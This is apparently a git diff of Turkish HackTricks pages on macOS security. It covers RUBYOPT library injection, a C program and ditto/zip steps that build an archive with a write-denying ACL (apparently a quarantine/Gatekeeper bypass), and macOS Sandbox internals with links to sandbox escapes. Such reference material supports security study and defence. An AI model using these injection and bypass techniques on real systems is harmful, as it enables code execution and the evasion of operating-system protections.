* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
Bu çevre değişkeni kullanılarak **ruby** her çalıştırıldığında **yeni parametreler eklemek** mümkündür. **`-e`** parametresi ruby kodunu belirtmek için kullanılamasa da, **`-I`** ve **`-r`** parametreleri kullanılarak yüklenme yoluna yeni bir klasör eklemek ve ardından **yüklenmesi gereken bir kütüphane belirtmek** mümkündür.
|
||||
Bu ortam değişkenini kullanarak, **ruby** her çalıştırıldığında **yeni parametreler eklemek** mümkündür. **`-e`** parametresi ruby kodu belirtmek için kullanılamasa da, **`-I`** ve **`-r`** parametrelerini kullanarak yükleme yolu için yeni bir klasör eklemek ve ardından **yüklemek için bir kütüphane belirtmek** mümkündür.
|
||||
|
||||
**`/tmp`** dizininde **`inject.rb`** adında bir kütüphane oluşturun:
|
||||
**`/tmp`** dizininde **`inject.rb`** kütüphanesini oluşturun:
|
||||
|
||||
{% code title="inject.rb" %}
|
||||
```ruby
|
||||
|
@ -26,7 +27,7 @@ puts `whoami`
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Herhangi bir yerde aşağıdaki gibi bir ruby betiği oluşturun:
|
||||
Herhangi bir yere aşağıdaki gibi bir ruby script oluşturun:
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```ruby
|
||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ardından, keyfi bir ruby betiği oluşturun ve aşağıdaki komutla yükleyin:
|
||||
Arbitrary bir ruby betiğinin bunu yüklemesini sağlayın:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
Eğlenceli bir gerçek, parametre **`--disable-rubyopt`** ile bile çalışır:
|
||||
Eğlenceli bir gerçek, **`--disable-rubyopt`** parametresi ile bile çalışıyor:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,30 @@
|
|||
# macOS xattr-acls extra stuff
|
||||
# macOS xattr-acls ekstra bilgiler
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a> <strong>ile öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
{% endhint %}
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
|
||||
````
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>get_acls kodu</summary>
|
||||
|
@ -61,47 +67,103 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
````
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>set_xattr Kodu</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
|
||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
|
||||
free(buf); }
|
||||
free(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
|
||||
print\_xattrs(filepath);
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0; }
|
||||
print_xattrs(filepath);
|
||||
|
||||
````
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -115,10 +177,24 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
````
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# macOS Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
MacOS Sandbox (başlangıçta Seatbelt olarak adlandırılır) **kum havuzu içinde çalışan uygulamaları** Sandbox profilinde belirtilen **izin verilen eylemlerle sınırlar**. Bu, **uygulamanın yalnızca beklenen kaynaklara erişeceğini** sağlamaya yardımcı olur.
|
||||
MacOS Sandbox (ilk adı Seatbelt) **sandbox içinde çalışan uygulamaları** **uygulamanın çalıştığı Sandbox profilinde belirtilen izin verilen eylemlerle** **sınırlar**. Bu, **uygulamanın yalnızca beklenen kaynaklara erişmesini** sağlamaya yardımcı olur.
|
||||
|
||||
**`com.apple.security.app-sandbox`** yetkisi olan herhangi bir uygulama Sandbox içinde çalıştırılır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store'da yayınlamak için bu yetki zorunludur**. Bu nedenle, çoğu uygulama Sandbox içinde çalıştırılır.
|
||||
**`com.apple.security.app-sandbox`** **yetkisine** sahip herhangi bir uygulama sandbox içinde çalıştırılacaktır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store**'da yayınlamak için **bu yetki zorunludur**. Bu nedenle, çoğu uygulama sandbox içinde çalıştırılacaktır.
|
||||
|
||||
Bir işlemin ne yapabileceğini veya yapamayacağını kontrol etmek için **Sandbox, çekirdek üzerindeki tüm sistem çağrılarında kancalar** bulundurur. Uygulamanın yetkilerine bağlı olarak Sandbox belirli eylemlere izin verecektir.
|
||||
Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox, çekirdek boyunca tüm syscalls'da** **kancalara** sahiptir. Uygulamanın **yetkilerine** bağlı olarak Sandbox belirli eylemleri **izin verir**.
|
||||
|
||||
Sandbox'ın bazı önemli bileşenleri şunlardır:
|
||||
|
||||
* **Çekirdek uzantısı** `/System/Library/Extensions/Sandbox.kext`
|
||||
* **Özel çerçeve** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* **çekirdek uzantısı** `/System/Library/Extensions/Sandbox.kext`
|
||||
* **özel çerçeve** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* Kullanıcı alanında çalışan bir **daemon** `/usr/libexec/sandboxd`
|
||||
* **Konteynerler** `~/Library/Containers`
|
||||
* **kapsayıcılar** `~/Library/Containers`
|
||||
|
||||
Konteynerler klasörü içinde, her biri sandbox içinde çalıştırılan uygulama için **bundle kimliğiyle adlandırılmış bir klasör** bulabilirsiniz:
|
||||
Kapsayıcılar klasörü içinde, **sandbox içinde çalıştırılan her uygulama için bir klasör** bulabilirsiniz ve bu klasörün adı bundle id'sidir:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
Her bir bundle id klasörü içinde, Uygulamanın **plist** ve **Veri dizini** bulunur:
|
||||
Her bir bundle id klasörünün içinde **plist** ve uygulamanın **Data dizini** bulunabilir:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Unutmayın ki, sembolik bağlantılar Sandbox'tan "kaçmak" ve diğer klasörlere erişmek için olsa bile, Uygulamanın hala bunlara erişmek için **izinlere** sahip olması gerekmektedir. Bu izinler **`.plist`** içinde bulunur.
|
||||
Not edin ki, symlinkler Sandbox'tan "kaçmak" ve diğer klasörlere erişmek için orada olsa da, Uygulamanın yine de onlara erişim için **izinlere sahip olması** gerekir. Bu izinler **`.plist`** dosyasının içindedir.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Sandbox uygulaması tarafından oluşturulan/değiştirilen her şey **karantina özelliği**ne sahip olacaktır. Bu, sandbox uygulamasının **`open`** ile bir şeyi çalıştırmaya çalıştığında Gatekeeper'ı tetikleyerek bir sandbox alanını önleyecektir.
|
||||
Sandboxed bir uygulama tarafından oluşturulan/değiştirilen her şey **karantina niteliği** alacaktır. Bu, sandbox uygulaması **`open`** ile bir şey çalıştırmaya çalıştığında Gatekeeper'ı tetikleyerek bir sandbox alanını engelleyecektir.
|
||||
{% endhint %}
|
||||
|
||||
### Sandbox Profilleri
|
||||
|
||||
Sandbox profilleri, o **Sandbox** içinde neyin **izinli/yasaklı** olduğunu belirten yapılandırma dosyalarıdır. Bu, **Sandbox Profil Dili (SBPL)** kullanır ve [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programlama dilini kullanır.
|
||||
Sandbox profilleri, o **Sandbox** içinde neyin **izin verileceğini/yasaklanacağını** belirten yapılandırma dosyalarıdır. **Sandbox Profil Dili (SBPL)** kullanır ve bu dil [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programlama dilini temel alır.
|
||||
|
||||
İşte bir örnek bulabilirsiniz:
|
||||
Burada bir örnek bulabilirsiniz:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
|
@ -140,25 +141,27 @@ Sandbox profilleri, o **Sandbox** içinde neyin **izinli/yasaklı** olduğunu be
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Daha fazla izin verilen veya reddedilen eylemi kontrol etmek için bu [**araştırmayı**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) kontrol edin.
|
||||
Bu [**araştırmaya**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **izin verilebilecek veya reddedilebilecek daha fazla eylemi kontrol etmek için bakın.**
|
||||
{% endhint %}
|
||||
|
||||
Önemli **sistem hizmetleri** de kendi özel **sandbox**'larında çalışır, örneğin `mdnsresponder` hizmeti. Bu özel **sandbox profillerini** şurada görebilirsiniz:
|
||||
Önemli **sistem hizmetleri** kendi özel **sandbox**'larında çalışır, örneğin `mdnsresponder` hizmeti. Bu özel **sandbox profillerini** şu konumda görüntüleyebilirsiniz:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* Diğer sandbox profilleri [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) adresinde kontrol edilebilir.
|
||||
|
||||
**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** profili kullanır. Bu profilde, **`com.apple.security.network.server`** gibi yetkilendirmelerin bir işlemin ağı kullanmasına izin verdiğini kontrol edebilirsiniz.
|
||||
**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** **profilini** kullanır. Bu profilde **`com.apple.security.network.server`** gibi yetkilendirmelerin bir sürecin ağı kullanmasına nasıl izin verdiğini kontrol edebilirsiniz.
|
||||
|
||||
SIP, /System/Library/Sandbox/rootless.conf dosyasında platform\_profile adlı bir Sandbox profili olarak adlandırılır.
|
||||
SIP, /System/Library/Sandbox/rootless.conf içinde platform\_profile olarak adlandırılan bir Sandbox profilidir.
|
||||
|
||||
### Sandbox Profili Örnekleri
|
||||
### Sandbox Profil Örnekleri
|
||||
|
||||
Bir uygulamayı **belirli bir sandbox profiliyle** başlatmak için şunu kullanabilirsiniz:
|
||||
Belirli bir **sandbox profili** ile bir uygulamayı başlatmak için şunu kullanabilirsiniz:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="touch" %}
|
||||
{% code title="touch.sb" %}
|
||||
```scheme
|
||||
(version 1)
|
||||
|
@ -192,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="touch3.sb" %}
|
||||
```scheme
|
||||
(version 1)
|
||||
|
@ -206,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Not edin ki **Windows** üzerinde çalışan **Apple tarafından yazılan yazılımların ek güvenlik önlemleri** gibi uygulama sandboxlama gibi ek güvenlik önlemleri yoktur.
|
||||
Not edin ki **Apple tarafından yazılmış** **yazılım**, **Windows** üzerinde **ek güvenlik önlemlerine** sahip değildir, örneğin uygulama sandboxing.
|
||||
{% endhint %}
|
||||
|
||||
Bypass örnekleri:
|
||||
Atlatma örnekleri:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışında `~$` ile başlayan dosyalar yazabiliyorlar).
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışına `~$` ile başlayan dosyalar yazabiliyorlar).
|
||||
|
||||
### MacOS Sandbox Profilleri
|
||||
|
||||
macOS, sistem sandbox profillerini iki konumda saklar: **/usr/share/sandbox/** ve **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
